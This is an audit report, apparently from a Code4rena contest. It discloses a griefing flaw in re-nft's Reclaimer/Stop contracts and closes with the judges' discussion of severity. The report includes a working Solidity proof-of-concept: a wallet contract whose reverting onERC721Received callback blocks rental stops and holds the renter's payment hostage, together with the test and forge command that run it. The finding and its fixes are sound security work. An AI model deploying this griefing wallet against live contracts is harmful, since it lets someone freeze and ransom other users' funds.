Lender of a PAY order lending can grief renter of the payment

[c4-bot-3]

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Reclaimer.sol#L33 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Reclaimer.sol#L43

Vulnerability details

In a PAY order lending, the renter is payed by the lender to rent the NFT. When the rent is stopped, Stop.stopRent(), transfers the NFT from the renter's Safe back to the lender and transfers the payment to the renter.

To transfer the NFT from the Safe, _reclaimRentedItems() is used, which makes the Safe contract execute a delegatecall to Stop.reclaimRentalOrder(), which is inherited from Reclaimer.sol. This function uses ERC721.safeTransferFrom() or ERC1155.safeTransferFrom() to transfer the the NFT.

If the recipient of the NFT (the lender's wallet) is a smart contract, the safeTransferFrom() functions will call the onERC721Received() or onERC1155BatchReceived() callback on the lender's wallet. If those functions don't return the corresponding magic bytes4 value or revert, the transfer will revert. In this case stopping the rental will fail, the NFT will still be in the renter's wallet and the payment will stay in the payment escrow contract.

Impact

A malicious lender can use this vulnerability to grief a PAY order renter of their payment by having the onERC721Received() or onERC1155BatchReceived() callback function revert or not return the magic bytes4 value. They will need to give up the lent out NFT in return which will be stuck in the renter's Safe (and usable for the renter within the limitations of the rental Safe).

However, the lender has the ability to release the NFT and payment anytime by making the callback function revert conditional on some parameter that they can set in their contract. This allows them to hold the renter's payment for ransom and making the release conditional on e.g. a payment from the renter to the lender. The lender has no risk here, as they can release their NFT at any time.

Proof of Concept

Add the following code to StopRent.t.sol:

diff --git a/test/integration/StopRent.t.sol b/test/integration/StopRent.t.sol
index 3d19d3c..551a1b6 100644
--- a/test/integration/StopRent.t.sol
+++ b/test/integration/StopRent.t.sol
@@ -7,6 +7,49 @@ import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStruct

 import {BaseTest} from "@test/BaseTest.sol";

+import {Errors} from "@src/libraries/Errors.sol";
+import {IERC721} from "@openzeppelin-contracts/token/ERC721/IERC721.sol";
+import {IERC20} from "@openzeppelin-contracts/token/ERC20/IERC20.sol";
+
+contract BadWallet {
+  bool receiveEnabled = true;
+  address owner = msg.sender;
+
+  // To enable EIP-1271.
+  // Normally isValidSignature actually validates if the signature is valid and from the owner.
+  // This is not relevant to the PoC, so we just validate anything here.
+  function isValidSignature(bytes32, bytes calldata) external pure returns (bytes4) {
+    return this.isValidSignature.selector;
+  }
+
+  function doApproveNFT(address target, address spender) external {
+    require(msg.sender == owner);
+    IERC721(target).setApprovalForAll(spender, true);
+  }
+
+  function doApproveERC20(address target, address spender, uint256 amount) external {
+    require(msg.sender == owner);
+    IERC20(target).approve(spender, amount);
+  }
+
+  function setReceiveEnabled(bool status) external {
+    require(msg.sender == owner);
+    receiveEnabled = status;
+  }
+
+  function onERC721Received(
+        address,
+        address,
+        uint256,
+        bytes calldata
+  ) external view returns (bytes4) {
+    if (receiveEnabled)
+      return this.onERC721Received.selector;
+    else
+      revert("Nope");
+  }
+}
+
 contract TestStopRent is BaseTest {
     function test_StopRent_BaseOrder() public {
         // create a BASE order

Add the following test to StopRent.t.sol:

    function test_stopRent_payOrder_inFull_stoppedByRenter_paymentGriefed() public {
        vm.startPrank(alice.addr);
        BadWallet badWallet = new BadWallet();
        erc20s[0].transfer(address(badWallet), 100);
        badWallet.doApproveNFT(address(erc721s[0]), address(conduit));
        badWallet.doApproveERC20(address(erc20s[0]), address(conduit), 100);
        vm.stopPrank();
        // Alice's key will be used for signing, but the newly create SC wallet will be used as her address
        address aliceAddr = alice.addr;
        alice.addr = address(badWallet);

        // create a PAY order
        // this will mint the NFT to alice.addr
        createOrder({
            offerer: alice,
            orderType: OrderType.PAY,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 1,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 0
        });

        // finalize the pay order creation
        (
            Order memory payOrder,
            bytes32 payOrderHash,
            OrderMetadata memory payOrderMetadata
        ) = finalizeOrder();

        // create a PAYEE order. The fulfiller will be the offerer.
        createOrder({
            offerer: bob,
            orderType: OrderType.PAYEE,
            erc721Offers: 0,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 1,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the pay order creation
        (
            Order memory payeeOrder,
            bytes32 payeeOrderHash,
            OrderMetadata memory payeeOrderMetadata
        ) = finalizeOrder();

        // Ensure that ERC721.safeTransferFrom to the wallet now reverts
        vm.prank(aliceAddr);
        badWallet.setReceiveEnabled(false);

        // create an order fulfillment for the pay order
        createOrderFulfillment({
            _fulfiller: bob,
            order: payOrder,
            orderHash: payOrderHash,
            metadata: payOrderMetadata
        });

        // create an order fulfillment for the payee order
        createOrderFulfillment({
            _fulfiller: bob,
            order: payeeOrder,
            orderHash: payeeOrderHash,
            metadata: payeeOrderMetadata
        });

        // add an amendment to include the seaport fulfillment structs
        withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});

        // finalize the order pay/payee order fulfillment
        (RentalOrder memory payRentalOrder, ) = finalizePayOrderFulfillment();

        // speed up in time past the rental expiration
        vm.warp(block.timestamp + 750);

        // try to stop the rental order
        vm.prank(bob.addr);
        vm.expectRevert(Errors.StopPolicy_ReclaimFailed.selector);
        stop.stopRent(payRentalOrder);

        // get the rental order hashes
        bytes32 payRentalOrderHash = create.getRentalOrderHash(payRentalOrder);

        // assert that the rental order still exists in storage
        assertEq(STORE.orders(payRentalOrderHash), true);

        // assert that the token is still rented out in storage
        assertEq(STORE.isRentedOut(address(bob.safe), address(erc721s[0]), 0), true);

        // assert that the ERC721 is still in the Safe
        assertEq(erc721s[0].ownerOf(0), address(bob.safe));

        // assert that the offerer made a payment
        assertEq(erc20s[0].balanceOf(aliceAddr), uint256(9900));

        // assert that the fulfiller did not received the payment
        assertEq(erc20s[0].balanceOf(bob.addr), uint256(10000));

        // assert that a payment was not pulled from the escrow contract
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(100));
    }

Now the PoC can be run with:

forge test --match-path test/integration/StopRent.t.sol --match-test test_stopRent_payOrder_inFull_stoppedByRenter_paymentGriefed -vvv

Recommended Mitigation Steps

I see three ways to mitigate this (however, the third one is incomplete):

• Split stopping the rental and transferring the assets into separate steps, so that after stopping the rental, the lender and the renter have to call separate functions to claim their assets.
• Change Stop._reclaimRentedItems() so that it doesn't revert when the transfer is unsuccessful.
• For ERC721 use ERC721.transferFrom() instead of ERC721.safeTransferFrom() to transfer the NFT back to the lender. I believe it is reasonable to assume that the wallet that was suitable to hold a ERC721 before the rental is still suitable to hold a ERC721 after the rental and the onERC721Received check is not necessary in this case. For ERC1155 this mitigation cannot be used because ERC1155 only has a safeTransferFrom() function that always does the receive check. So this mitigation is incomplete.

Assessed type

Token-Transfer

[c4-pre-sort]

141345 marked the issue as primary issue

[c4-pre-sort]

141345 marked the issue as sufficient quality report

[c4-sponsor]

Alec1017 (sponsor) confirmed

[c4-judge]

0xean marked the issue as satisfactory

[c4-judge]

0xean marked the issue as selected for report

[0xJCN]

Hi @0xean ,

It seems Issue #600 also identifies the same root cause as this issue: A lender can implement a malicious callback to DOS the stop calls.

However, this issue does not demonstrate a freezing of victim (renter) "owned" assets. In this issue the lender (attacker) is allowing their NFT and rental payment to be frozen in order to grief the victim. However, I would argue that the victim is not impacted in a way that warrants a high severity. Although the victim can not receive the proposed rental payment, they will essentially be able to utilize the rented NFT while the lender is "griefing" them. The renter is only losing "theoretical capital" in this situation (i.e. the rental payment, which was supplied by the attacker), but would be gaining access to the rented NFT for additional time.

Meanwhile, issue #600 has identified how to leverage the root cause in this issue with another bug (safe wallet can't differentiate between non-rented and rented ERC1155 tokens) in order to permanently freeze a victim's ERC1155 tokens in their safe wallet.

Given the information above, can you please provide the rationale behind labeling this issue (and duplicates) as high severity, while labeling issue #600 (and duplicates) as medium severity? Based on my observations it seems this issue (and duplicates) should be of medium severity. However, if its high severity status is maintained, then I would think that issue #600 (and its duplicates) should be of high severity as well since these issues demonstrate a greater impact.

I appreciate you taking the time to read my comment.

[0xean]

@0xJCN thanks for the comment.

I have re-read the impact and better understand this issue as a result. I do not agree that this loss is "theoretical", a withheld payment is not theoretical, however it is temporary if the lender has any intention to ever receive back their NFT and therefore since its temporary and not a complete loss I do think M is more appropriate.

This is final.

[c4-judge]

0xean changed the severity to 2 (Med Risk)

[0xEVom]

Hi @0xean, I agree with @0xJCN here but I believe there are a couple of duplicates in this finding which should be de-duped and for which the impact does qualify as high. The issue is largely the same, but these submissions recognize that it can also be exploited by the renter, in which scenario:

• the attacker loses nothing, as they merely temporarily forgo the payment they would have received for the rental
• the victim (the lender) is unable to recover the rented NFT until the renter allows them to do so

See issue #634 for a more detailed description. #379 and #487 are the only duplicates as far as I can see.

[0xean]

leaving these as judged.